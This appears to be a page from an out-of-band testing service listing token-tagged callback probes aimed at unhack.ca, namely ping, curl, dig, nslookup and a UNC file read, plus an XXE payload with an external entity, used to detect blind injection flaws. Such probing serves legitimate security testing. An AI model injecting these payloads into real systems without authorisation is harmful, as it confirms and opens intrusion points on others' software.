$ ping -c1 -p 007e38d2555757d446f053ff405a9100 unhack.ca
$ curl http://unhack.ca/p/7e38d2555757d446f053ff405a91
$ dig 7e38d2555757d446f053ff405a91 @unhack.ca
$ dig 7e38d2555757d446f053ff405a91.ns.unhack.ca
C:\> nslookup 7e38d2555757d446f053ff405a91 unhack.ca
C:\> type \\unhack.ca\7e38d2555757d446f053ff405a91\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/7e38d2555757d446f053ff405a91">]>
<foo>&xxe;</foo>
Waiting for ping...